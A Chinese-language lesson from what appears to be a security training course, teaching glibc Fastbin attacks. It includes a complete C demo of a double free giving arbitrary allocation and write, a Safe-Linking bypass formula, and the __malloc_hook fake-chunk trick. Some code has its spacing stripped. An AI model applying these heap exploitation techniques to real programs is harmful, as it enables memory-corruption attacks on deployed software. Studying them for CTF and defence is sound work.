ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

【八个月网安课程】第四周·周四:Fastbin Attack——从Double Free到任意地址分配

【八个月网安课程】第四周·周四:Fastbin Attack——从Double Free到任意地址分配 昨天掌握了Tcache Poisoning攻击学会了如何利用现代Glibc的线程缓存实现任意地址分配。今天我们将目光转向另一个经典的堆利用攻击面——Fastbin Attack。Fastbin是ptmalloc中用于管理小型空闲堆块通常32-128字节的机制。与Tcache类似Fastbin也是单链表结构且不合并相邻的空闲块。但与Tcache不同的是Fastbin在分配和释放时遵循LIFO后进先出顺序并且不会对取出链表的块进行大小检查——这正是攻击者可以利用的关键特性。通过篡改Fastbin链表你可以让malloc返回一个伪造的堆块地址实现任意地址分配。今天的目标是深入理解Fastbin的工作机制掌握Fastbin Double Free和**伪造堆块Fake Chunk**两种经典攻击技术并能够结合现代Glibc的保护机制如Safe-Linking设计绕过方案。第四周·周四Fastbin Attack——从Double Free到任意地址分配 今日练习目标能解释Fastbin的工作机制单链表结构、LIFO顺序、不合并相邻块、无大小检查。能理解Fastbin Double Free的原理通过连续释放同一个堆块两次构造循环链表实现多次分配同一地址。能理解伪造Fastbin堆块攻击的原理在目标地址构造一个“合法”的size字段使Fastbin误认为该地址是一个空闲堆块。能编写包含Fastbin漏洞的C程序利用Double Free或伪造堆块实现任意地址分配。能使用GDB观察Fastbin链表变化验证攻击效果。能理解Safe-LinkingGlibc 2.32保护机制并知道其绕过思路。 一、Fastbin核心机制详解Fastbin是ptmalloc中用于快速处理小型内存请求的机制。它的设计目标非常明确速度优先安全性靠后。这使得它成为堆利用的经典攻击面。1. Fastbin的数据结构Fastbin是一个简单的单链表数组默认包含10个binNBINS每个bin管理固定大小的空闲堆块。在64位系统下这些bin管理的堆块大小分别为32、48、64、80、96、112、128、144、160、176字节。// glibc源码中的简化定义typedefstructmalloc_chunk{size_tprev_size;// 前一个堆块的大小如果前一个堆块空闲size_tsize;// 当前堆块的大小包含标志位structmalloc_chunk*fd;// 前向指针空闲时指向链表中的下一个堆块structmalloc_chunk*bk;// 后向指针空闲时指向链表中的上一个堆块Fastbin中不使用}*mstate;// Fastbin数组存储在arena中typedefstructmalloc_state{mfastbinptr fastbinsY[NFASTBINS];// 每个bin是一个链表头// ...}*mstate;关键特性单链表每个Fastbin是一个单向链表空闲块的fd指针指向链表中的下一个空闲块。bk指针在Fastbin中不被使用。LIFO顺序新释放的块总是插入到链表头部分配时也总是从链表头部取出。因此最后释放的块会被最先分配出去。不合并Fastbin中的空闲块不会与相邻的空闲块合并即使它们在物理内存上是连续的。无大小检查在从Fastbin取链时ptmalloc不会验证取出块的大小是否与当前Fastbin匹配。这是攻击者可以利用的核心漏洞。2. Fastbin的释放与分配流程释放流程(free)检查被释放块的大小是否在Fastbin范围内 global_max_fast。检查其下一个堆块的PREV_INUSE位是否被置位防止Double Free。将该块插入对应大小Fastbin链表的头部。更新链表头指针设置fd指向原来的链表头。分配流程(malloc)检查对应大小的Fastbin链表是否为空。如果不为空从链表头部取出第一个块。更新链表头指针为取出块的fd。返回该块给用户。不检查块大小是否匹配。注意在现代Glibc2.31中Fastbin在释放时也会进行一些安全检查例如检查fd指针是否指向合法的堆地址。此外Glibc 2.32引入了Safe-Linking机制对fd指针进行了异或加密保护。3. Fastbin vs Tcache谁更“危险”特性FastbinTcache引入版本早期ptmallocGlibc 2.26容量限制无限制每个bin最多7个安全检查基本检查无大小验证早期无2.29引入Key优先级低于Tcache最高优先级合并行为不合并不合并在实际利用中Tcache是优先攻击目标因为它的优先级更高且早期缺乏保护。但当Tcache被占满或存在保护机制时Fastbin就成为备选攻击面。两者的攻击思路非常相似都是通过篡改单链表的fd/next指针来实现任意地址分配。 二、Fastbin Double Free攻击原理Fastbin Double Free是最经典的Fastbin攻击技术。它的核心思想是连续释放同一个堆块两次使得Fastbin链表中出现循环从而可以让同一个地址被多次分配。攻击步骤分配一个Fastbin大小的堆块A。释放A。此时Fastbin链表为A - NULL。再次释放A。由于没有任何检查早期GlibcA再次被插入链表头部A - A - A - ...循环链表。第一次malloc返回A链表变为A - A - ...仍然是循环。修改A的fd指针将其指向目标地址。第二次malloc返回A链表变为[目标地址] - A - ...。第三次malloc返回目标地址现代Glibc的防护Glibc 2.31对Fastbin Double Free增加了简单的检测——检查链表头部的第一个块是否与当前释放的块相同。但这可以通过先释放一个不同的块BA - B - A模式来绕过。✍️ 三、动手实践Fastbin Double Free全流程实践 1编写漏洞程序 (fastbin_double_free.c)#includestdio.h#includestdlib.h#includestring.h#includeunistd.hunsignedlongtarget0xdeadbeef;// 攻击目标intmain(){setbuf(stdout,NULL);setbuf(stderr,NULL);printf( Fastbin Double Free Demo \n);printf([] target variable is at: %p, value: 0x%lx\n,target,target);// 1. 分配三个Fastbin大小的堆块size_t*a(size_t*)malloc(0x60);size_t*b(size_t*)malloc(0x60);size_t*c(size_t*)malloc(0x60);// 用于绕过Double Free检测printf([] Allocated a: %p\n,a);printf([] Allocated b: %p\n,b);printf([] Allocated c: %p\n,c);// 2. 释放a、b、a绕过Glibc 2.31的Double Free检测free(a);free(b);free(a);// 现在Fastbin链表为a - b - a - b - ...循环printf([] Freed a, b, a (Double Free)\n);// 3. 第一次malloc得到a修改其fd指针size_t*p1(size_t*)malloc(0x60);// 返回a*p1(size_t)(target);// 修改a-fd指向targetprintf([] malloc 1 (should be a): %p\n,p1);printf([] Modified a-fd to point to target\n);// 4. 第二次malloc得到bsize_t*p2(size_t*)malloc(0x60);// 返回bprintf([] malloc 2 (should be b): %p\n,p2);// 5. 第三次malloc应该返回target地址size_t*p3(size_t*)malloc(0x60);printf([] malloc 3 (should be target): %p\n,p3);// 6. 验证任意写能力if(p3(size_t*)target){*p30xcafebabe;printf([] Modified target to 0x%lx\n,target);}else{printf([!] Fastbin double free failed\n);}return0;}实践 2编译并运行 (1小时)# 编译Glibc 2.31 需要绕过Double Free检测所以使用a-b-a模式gcc -fno-stack-protector -no-pie-ofastbin_double_free fastbin_double_free.c-g# 运行./fastbin_double_free预期输出 Fastbin Double Free Demo [] target variable is at: 0x404060, value: 0xdeadbeef [] Allocated a: 0x55555555a260 [] Allocated b: 0x55555555a2d0 [] Allocated c: 0x55555555a340 [] Freed a, b, a (Double Free) [] malloc 1 (should be a): 0x55555555a260 [] Modified a-fd to point to target [] malloc 2 (should be b): 0x55555555a2d0 [] malloc 3 (should be target): 0x404060 [] Modified target to 0xcafebabe实践 3使用GDB观察Fastbin链表变化 (1.5小时)gdb ./fastbin_double_free# 设置断点(gdb)break*main100# free之前(gdb)break*main200# Double Free之后(gdb)break*main300# 修改fd之后(gdb)run# 查看Fastbin链表(gdb)x/10gxmain_arena.fastbinsY# 查看Fastbin数组# 或者直接在free后查看a-fd(gdb)x/gx a# a-fd应该指向b# 在Double Free后链表为a-b-a-...(gdb)x/gx a# a-fd b(gdb)x/gx b# b-fd a# 在修改fd后(gdb)x/gx a# a-fd target地址实践 4理解Safe-Linking保护 (1小时)Glibc 2.32引入了Safe-Linking机制对Fastbin以及Tcache的fd/next指针进行异或加密保护// 加密后的指针#definePROTECT_PTR(pos,ptr)\((__typeof(ptr))(((size_t)(pos)12)^((size_t)(ptr))))// 解密指针#defineREVEAL_PTR(ptr)\PROTECT_PTR(ptr,ptr)这意味着空闲块的fd字段不再直接存储下一个块的地址而是存储(当前块地址 12) ^ 下一个块地址。攻击者需要知道当前堆块的地址才能正确解密和伪造fd指针。绕过思路信息泄露如果攻击者能够泄露堆地址就可以计算出正确的加密值。使用其他漏洞原语如Tcache Poisoning如果Tcache可用或转向更复杂的攻击技术。// Safe-Linking下的指针计算示例size_tchunk_addr(size_t)a;size_ttarget_addr(size_t)(target);size_tprotected_fd(chunk_addr12)^target_addr;*aprotected_fd;// 写入加密后的指针实践 5伪造Fastbin堆块攻击 (1小时)除了Double Free另一种经典的Fastbin攻击是伪造一个Fastbin大小的堆块。攻击思路是在目标地址附近构造一个满足Fastbin大小要求的伪造size字段然后通过溢出或UAF将该地址链入Fastbin链表实现对该地址的分配。关键条件目标地址处必须有一个“合法”的size字段其值必须匹配某个Fastbin的大小范围。例如如果malloc(0x60)实际堆块大小0x70则目标地址处的size字段必须为0x70或0x71取决于PREV_INUSE位。// 经典案例在__malloc_hook附近寻找伪造的size字段// __malloc_hook - 0x23处有一个0x7f大小的“合法”size字段// 这个伪造的size使得攻击者可以分配到一个包含__malloc_hook的堆块size_tfake_size_addr(size_t)(__malloc_hook_addr)-0x23;// *fake_size_addr 0x7f (恰好匹配malloc(0x60)的块大小)这种技术需要精确的内存布局分析是CTF竞赛中非常常见的考点。 四、今日产出物检查成功编写并运行了Fastbin Double Free漏洞利用程序GDB分析记录展示了Fastbin链表变化和任意地址分配效果Safe-Linking保护的分析笔记包含加密/解密公式伪造Fastbin堆块攻击的尝试记录可在CTF环境中练习一份Fastbin Attack技术对比表Double Free vs Fake Chunk vs Tcache Poisoning✅ 今日自检清单我理解了Fastbin的单链表结构、LIFO特性和无大小检查的特点。我能够解释Fastbin Double Free的攻击原理构造循环链表→修改fd→任意分配。我成功编写了一个利用Double Free实现任意地址分配的程序。我使用GDB观察了Fastbin链表的变化验证了攻击效果。我理解了Safe-Linking的保护机制及其绕过条件。我了解了伪造Fastbin堆块攻击的基本思路并知道它常用于覆盖hook函数。我认识到Fastbin Attack是Tcache不可用时的首选替代攻击面。⚠️ 阶段避坑重点Fastbin大小限制只有特定大小范围内的堆块才会进入Fastbin。在64位系统上Fastbin管理的最大堆块是0x80用户请求0x70。超过此大小的堆块在释放时会进入unsorted bin而不是Fastbin。Double Free的检测Glibc 2.31检查链表头部的第一个块是否与当前释放的块相同。但可以通过free(A); free(B); free(A)的顺序绕过。更高级的检测如tcache key在Fastbin中不存在。Safe-Linking的异或加密使用的位移是固定的 12页大小。这意味着攻击者需要知道堆块的地址才能正确解密。这也意味着在启用ASLR的环境中通常需要先通过信息泄露获取堆地址。伪造size字段的合法性伪造Fastbin堆块时目标地址处的size字段必须精确匹配某个Fastbin的大小范围且其最低位PREV_INUSE通常需要置位。常见的技巧是在hook函数附近寻找“天然”满足条件的字节序列。地址对齐malloc返回的地址必须满足对齐要求64位系统为16字节对齐。如果伪造的地址不满足对齐malloc可能崩溃。 恭喜你掌握了Fastbin Attack的核心技术今天你学会了两种经典的Fastbin利用方法——Double Free和伪造堆块并通过实际编写代码验证了它们的威力。你还了解了Safe-Linking等现代保护机制及其绕过思路。明天我们将进行第四周的综合挑战赛你需要在一个限时环境中综合运用你前三周学到的所有技能——代码审计、漏洞利用开发、模糊测试和崩溃分析——来完成一次完整的漏洞挖掘与利用闭环。这将是你成为高级安全工程师的关键一战。
返回列表